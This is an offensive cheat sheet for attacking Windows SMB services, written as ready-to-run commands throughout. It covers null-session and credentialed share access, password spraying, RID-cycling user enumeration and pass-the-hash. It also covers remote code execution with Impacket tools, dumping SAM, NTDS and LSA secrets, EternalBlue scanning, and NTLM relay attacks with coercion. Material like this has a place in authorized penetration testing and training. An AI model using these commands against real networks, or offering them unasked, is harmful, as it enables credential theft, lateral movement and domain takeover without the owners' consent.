Connecting to Shares
Connect anonymously (null session)
smbclient //TARGET/ -N
Connect with username (prompts for password)
smbclient //TARGET/ -U username
Connect with domain credentials
smbclient //TARGET/ -U 'DOMAIN\username'%password
Connect with NTLM hash (Pass-the-Hash)
smbclient //TARGET/ -U username --pw-nt-hash NTHASH
💻
Inside SMBClient
List files
ls
Change directory
cd dirname
Print working dir
pwd
Download a file
get filename
Upload a file
put localfile
Delete a file
del filename
Download ALL files recursively
prompt off
recurse on
mget *
One-liner recursive download
smbget -R smb://TARGET/
Authentication Testing
Null & Guest Sessions
Test null session
nxc smb TARGET -u '' -p ''
Test guest account
nxc smb TARGET -u 'guest' -p ''
Password Spraying
Spray users with password
nxc smb TARGET -u users.txt -p 'Password123!'
User=pass spray (no lockout!)
nxc smb TARGET -u users.txt -p users.txt --no-bruteforce
Pass-the-Hash authentication
nxc smb TARGET -u Administrator -H aad3b435b51404eeaad3b435b51404ee:NTHASH
⚠️ Account Lockout
Check lockout policy first! Use nxc smb TARGET --pass-pol to view password policy.
User Enumeration
RID cycling (find users via null session)
nxc smb TARGET -u '' -p '' --rid-brute
Enumerate users with creds
nxc smb TARGET -u user -p pass --users
Impacket lookupsid (RID cycling)
lookupsid.py guest@TARGET
rpcclient user enum
rpcclient -U '' TARGET -N -c 'enumdomusers'
rpcclient group enum
rpcclient -U '' TARGET -N -c 'enumdomgroups'
💡 RID 500 = Administrator
RID 500 is always the built-in Administrator. RID 1000+ are domain users. Even if renamed, the RID never changes!
Impacket Tools
Remote Execution
psexec.py (requires admin + writable share)
psexec.py DOMAIN/user:pass@TARGET
smbexec.py (no writable share needed)
smbexec.py DOMAIN/user:pass@TARGET
wmiexec.py (uses WMI, stealthier)
wmiexec.py DOMAIN/user:pass@TARGET
atexec.py (scheduled task)
atexec.py DOMAIN/user:pass@TARGET "whoami"
Pass-the-Hash
psexec with hash
psexec.py -hashes :NTHASH user@TARGET
wmiexec with hash
wmiexec.py -hashes :NTHASH user@TARGET
Secret Dumping
secretsdump.py (SAM, NTDS, LSA)
secretsdump.py DOMAIN/user:pass@TARGET
Vulnerability Scanning
Check ALL SMB vulns (EternalBlue, etc.)
nmap --script "smb-vuln*" -p 139,445 TARGET
MS17-010 EternalBlue check
nmap --script smb-vuln-ms17-010 -p 445 TARGET
MS08-067 check (very old but still exists)
nmap --script smb-vuln-ms08-067 -p 445 TARGET
SMB signing check (for relay attacks)
nxc smb TARGET --gen-relay-list relayable.txt
Relay Attacks
When SMB signing is disabled, you can relay NTLM authentication to other hosts!
1. Find hosts without SMB signing
nxc smb 192.168.1.0/24 --gen-relay-list targets.txt
2. Start ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
Relay with SAM dump
ntlmrelayx.py -tf targets.txt -smb2support --dump-sam
Relay to LDAP (add computer/user)
ntlmrelayx.py -t ldap://DC_IP --add-computer
3. Trigger auth (Responder, PetitPotam, etc.)
responder -I eth0 -dwP
💡 Coercion Methods
Use PetitPotam, PrinterBug, or DFSCoerce to force authentication from DCs and high-value targets!
📀
Mounting Shares (Linux)
Create mount point first
sudo mkdir -p /mnt/smb
Mount SMB share anonymously
sudo mount -t cifs //TARGET/ /mnt/smb -o guest
Mount with credentials
sudo mount -t cifs //TARGET/ /mnt/smb -o username=user,password=pass
Mount with domain credentials
sudo mount -t cifs //TARGET/ /mnt/smb -o username=user,password=pass,domain=DOMAIN
Unmount
sudo umount /mnt/smb